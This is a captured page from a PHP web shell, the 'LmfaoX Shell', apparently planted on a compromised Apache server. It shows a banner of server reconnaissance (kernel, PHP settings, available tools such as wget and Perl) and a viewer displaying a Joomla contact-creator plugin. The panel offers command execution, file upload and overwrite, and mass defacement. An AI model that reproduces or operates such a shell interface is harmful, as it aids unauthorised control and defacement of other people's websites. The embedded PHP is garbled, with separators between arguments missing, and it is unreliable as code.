ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.92 GB of 70.42 GB (35.38%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar.1/ plugins/ user/ contactcreator/ - drwxr-xr-x

Directory:
Viewing file:     contactcreator.php (2.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 *
 * Contact Creator
 * A tool to automatically create and synchronise contacts with a user
 * @copyright    Copyright (C) 2005 - 2009 Open Source Matters, Inc. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Class for Contact Creator
 * @package        Joomla.Plugin
 * @subpackage    User.contactcreator
 * @version        1.6
 */
class plgUserContactCreator extends JPlugin
{
    
/**
     * Constructor
     *
     * @access      protected
     * @param       object  $subject The object to observe
     * @param       array   $config  An array that holds the plugin configuration
     * @since       1.5
     */
    
public function __construct(& $subject$config)
    {
        
parent::__construct($subject$config);
        
$this->loadLanguage();
    }

    function 
onUserAfterSave($user$isnew$success$msg)
    {
        if(!
$success) {
            return 
false// if the user wasn't stored we don't resync
        
}

        if(!
$isnew) {
            return 
false// if the user isn't new we don't sync
        
}

        
// ensure the user id is really an int
        
$user_id = (int)$user['id'];

        if (empty(
$user_id)) {
            die(
'invalid userid');
            return 
false// if the user id appears invalid then bail out just in case
        
}

        
$category $this->params->get('category'0);
        if (empty(
$category)) {
            
JError::raiseWarning(41JText::_('PLG_CONTACTCREATOR_ERR_NO_CATEGORY'));
            return 
false// bail out if we don't have a category
        
}

        
$dbo JFactory::getDBO();
        
// grab the contact ID for this user; note $user_id is cleaned above
        
$dbo->setQuery('SELECT id FROM #__contact_details WHERE user_id = '$user_id );
        
$id $dbo->loadResult();

        
JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_contact/tables');
        
$contact JTable::getInstance('contact''ContactTable');

        if (!
$contact) {
            return 
false;
        }

        if (
$id) {
            
$contact->load($id);
        }
        elseif(
$this->params->get('autopublish'0)) {
            
$contact->published 1;
        }

        
$contact->name $user['name'];
        
$contact->user_id $user_id;
        
$contact->email_to $user['email'];
        
$contact->catid $category;

        
$autowebpage $this->params->get('autowebpage''');

        if (!empty(
$autowebpage)) {
            
// search terms
            
$search_array = array('[name]''[username]''[userid]''[email]');
            
// replacement terms, urlencoded
            
$replace_array array_map('urlencode', array($user['name'], $user['username'], $user['id'], $user['email']));
            
// now replace it in together
            
$contact->webpage str_replace($search_array$replace_array$autowebpage);
        }

        if (
$contact->check()) {
            
$result $contact->store();
        }

        if (!(isset(
$result)) || !$result) {
            
JError::raiseError(42JText::sprintf('PLG_CONTACTCREATOR_ERR_FAILED_UPDATE'$contact->getError()));
        }
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.7091 seconds